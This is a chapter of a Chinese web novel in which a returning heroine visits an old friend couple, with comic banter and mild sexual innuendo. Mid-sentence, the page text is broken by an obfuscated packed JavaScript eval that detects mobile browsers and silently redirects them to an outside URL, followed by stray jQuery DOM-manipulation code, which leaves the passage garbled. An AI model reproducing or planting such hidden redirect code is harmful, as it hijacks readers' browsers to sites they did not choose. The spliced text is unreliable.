113.旧友
作品:《疯子男A送上门》 从国外回到国内最痛苦的完全就是倒时差,夜半三更羡由愣是半点睡意也没有,完全是白天在飞机上给睡饱了,上次回国还是在上次,而且时间也短,完全调整不过来,现在可算是尝到了苦头。
她翻个身,被子一路裹到脖子上,脑瓜顶的空调不断制冷,宽敞的房间里一个人供给不了充足的暖意。
在酷热难耐的盛夏她愣是在过冬。
终于在经过又一个辗转难入眠后,羡由终于是放弃了睡觉的打算,一个鲤鱼打挺翻身站起,因为年轻人脆弱不可控制的两眼一抹黑,头冒大金星地摔在床上一个屁股蹲。
忍了又忍停过难耐的不应期后,抓起桌子上喝剩下多半的橙汁就着吸管就是好几口入肚,没了冰块的滋润,有点发苦和发酸,或许是因为火气重的关系,反正不甜也不凉。
随手把空罐子放在桌上,这几口下肚至少不那么难耐了。
羡由捞起床头充电的手机,拔掉数据线,点开羡繁承发来的资料。虽然事先已然是翻过一些,再次翻看是给轮廓填充内容。
但是越往下看,越觉得此事并非那么绝对,是有难度不假,但也绝非没有破解之法。
想起视频里的背景,很明显是住宅而非是校区宿舍,那俩人平常花钱虽然大手大脚,却也不是没有后手,虽然买不起,但也能租个像样的房子。
至少是向阳,两室一厅一厨一卫。
那俩人现在就读的学校并不在成京,而是在另一个经济大区,属于城内区域而非边郊,用钱并不比成京少,一年学费花销也大,算上奖学金竞赛比赛资金,再减去日常开销,最终锁定在某处住址。
反正有时间,去看看又何妨。
羡由把资料上的住址输入进地图里,搜索出最佳的行进路线后。第二天提着大包小包果断登门拜访,按响了门铃。
开始很顺利,结果卡在了门铃上面,不如说是卡在了里头绝佳的睡眠上头。她忍着炙烤的大后背,一巴掌把额头的十字拍回去,最后一次按响门铃。
终于敢在火山即将喷发的刹那,踩着拖鞋的懒散动静越来越近。
敞开的大门,姚游睡眼惺忪地站在阴影里,一身小狗睡衣,眼罩甚至还歪斜在脑瓜子上,踩着拖鞋,还没来得及说话,就被一声“Surprise—”,逼停在原地。
“Hey, what are you doing standing there? We were chatting with each other all night yesterday, but we don''t know each other anymore. Fish have better memories than you. Eat less melons, let me go in and it''s hot.”存着逗人的心思,羡由难免会啰嗦些,但对面始终一脸被英文冲昏头脑的傻子模样,就也不想对牛弹琴只想进去吹空调。
也不知是不清醒,还是大早上就接收英文的洗礼,姚游没反应过来,堪称痴呆地眨了眨眼睛,眼见对方要进来,迟钝的神经终于牵引住了肢体竟然哐当把门给关上了。
速度之快,力道之猛,绝对是望尘莫及,最主要的是羡由的鼻子跟门板就隔着毫米距离,还没来得及踹门,里头就响起震耳欲聋的嚎叫。
“我踏马看见羡由了。”说着姚游打开门,看见了抱着双臂的羡由,嘴里念叨着“一定是做梦”,又把门给关上了。
羡由:“……”
“不对做梦不会疼,所以是真的喽。”姚游又把门给打开,脸上红了一片,睡眼惺忪也转变成惊吓,向后一退:“出现了——”
羡由:“……”
“游,我怎么不知道你还有玩门的癖好。”王藤揉着眼睛,懒洋洋地瘫软在爱人的身上,昨晚刚剪的头发显得很利索,摸起来的手感也好,但这次没有。下意识蹭了蹭,转个头就看见挑眉的羡由,往后猛跳一大步,大喊:“卧槽,出现了——”
羡由:“……”
怪不得你们是情侣呢,当真是什么锅配什么盖。
到底是年轻气盛,忍无可忍的羡由一脚擦在门口的砖头上,弱小可怜的砖头没抗住怒火,咔嚓断裂成两半。
看看怨念总会有个无辜的背锅侠。
为英勇奉献的砖头先生道个晚安,只是一计,就将乱七八糟的隔阂稍作缓解。
“你说说你回来也不跟我们说一声。”姚游把杯子毕恭毕敬地递了过去。
杯身很温热,喝到嘴里的温度确很合适,属于是有点热能接受。羡由捧着杯子,语气幽怨:“怎么打扰你们的好事了。”
姚游掐她脸颊:“怎么可能,在场的都是内在人,谁不知道谁的事。”
“这可真不见得。”羡由又喝口水,为接下来的恶战提前润喉,“比起我,你们更拿望全当内在人,整天整日的献计策,曾经也没见你们那么爱动脑筋。”
姚游不愧是最懂羡由的人,一两句就点名了重心:“这也没办法呀,毕竟你不在只能说给他了,何况你把他留在这里,反而是选择自己远走他乡,为的不也是想让我们照顾点。”
羡由说:“你们确实是称职到骨子里,有这功夫干脆学心理学好了,挂个牌穿个白大褂,我保证一天什么事都能听见,说不定还能挂个锦旗得个好评呢。”
洗完漱回来的望全听见了幽怨带刺的抱怨,险些一个脚滑歪倒在地上,毕竟上次这种面对面的聊天还是在上次,哪怕是上次聚餐也因为是班级聚餐反倒是没有了现在的氛围。
有时候真的想感叹时间当真是不等人,看起来他们互相调侃很有久别重逢的乐趣,实际上处处都有陌生的疏离感。
挺诡异又挺正常。
不然俩女人为何坐在同张沙发上,却一个霸占头,一个坐中央,中间相隔的距离完全能再塞进去一个,要是从前早就亲密贴在一起。
正当王藤想要去做个调节人的时候,就听到下面这段对话。
“毕竟有什么比朋友的瓜好吃,尤其是你这种的。”姚游也很实诚,面对女生要杀人的目光,还进行了补充:“说真的你们这种要是演成电视剧,绝对是一千多章往后了。我看你也别写原创小说了,直接把你的人生经历也出来,绝对爆款。”
“谢谢你,但我还想低调些。”羡由漫不经心地点了点自己的脖颈:“毕竟密密麻麻的,不知道的还以为是蚊子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463928|191320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
专咬脖子呢,当真是饥渴难耐。”
此话一出,两位当事人脸色均是一变。曾经不以为意,甚至能把调侃说开花的某人瞬间成了红透的番茄,却没有立正领子。毕竟是睡衣,还是没有领口的睡衣,只能关明正大敞开在外头,彰显恩恩爱爱的生活。
手机里有现成的镜子,而且黑屏也能看见一些深浅的痕迹,姚游往上面一瞥,就把手机给放下来了,故作正经地咳嗽两声,迎着某人唏嘘的目光,说:“毕竟成年了,尝到肉感受到滋味了,总是有这种忍耐不住的日子。”
羡由点头:“是是是,尤其是放假了,不用看人,更不用遮遮掩掩,肯定是要热火朝天的庆祝一下,即使如此也要注意身体,以免火候过了头。”
你也没资格说我。这句话浮现在姚游的心里,被拒绝在咽喉的大门,因为她深知这句话一旦说出来,死的指定是她自己。
得不偿失得不偿失。
就在她心里胡思乱想的时候,没有注意到细微的小动静,以至于鲜甜多汁的信息素顺着呼吸窜进鼻子里,有瞬间没能反应过来,就在这时足以令耳朵发痒的温热呼吸喷洒而来的是手边的温暖软玉,散发着勃勃生命力的热度。
姚游一回头,映入眼眶的就是羡由放大的面孔,这些年对方的容颜确实变化很大,任谁也想不到,隐藏在镜片后的眼眸竟是如此的深不见底,甚至连丝光亮都没有,上扬的眉眼本该是张扬明艳,如今却是一潭死水的危险邪魅。
“卧槽,EA不可侵。”姚游当即退后两步,双臂护在胸前,一副要维护好自己贞操烈女的典范。
“嗯是贞操烈女。”羡由看了看她的动作,然后挪到满脖子红痕:“原来烈女配狂野男孩,AA就可侵吗。”
眼看手足无措的双手在身上挥舞,她终于有了扳回一局的感觉,随手从礼包里开了罐冷饮。
姚游哼哼唧唧:“哎,不是给我们的吗?”
羡由晃了晃罐子:“我也想喝。”
“先给我来口,说了那么半天都要冒烟了。”姚游拿过罐子也不嫌弃就喝。
就在这时从厨房里传来油滋滋的声响,原来自从荤话开始的时刻,王藤果断转移步伐义无反顾地迈进厨房,并在此展开绝对地界,任凭客厅里种种也不能打扰他分毫。
就要这种分界感的男孩子。
“话说——”羡由又拿回罐子:“你俩谁上谁下。”
这时候姚游动作很快,像是终于有了分享的地方,把上衣往上拉,丝毫没有之前的羞耻感。
不同于羡由晒不黑的体质,姚游这些年风雨无阻的锻炼身体,体格比男的都要好,至少不是空有无力的花花架子。毕竟抱不住可留不下满背的划痕印子,以及手指上还有细小的伤口,甚至连指甲都修的很有安全感。
羡由什么也没说,对着拉下衣服的她竖起大拇指。
有酒过三巡,自然也有话过三巡。
总是有些隔阂仍然存在,但早已在话茬子中消散的差不多了。姚游看着羡由,问:“这次来是有什么事吗?”
这栋房子的隔音还算好,至少除了油烟,羡由听不到其他的动静,晃了晃手里的罐子:“你的手是打算我给你撸起来,还是说要我找羡繁承解决。”

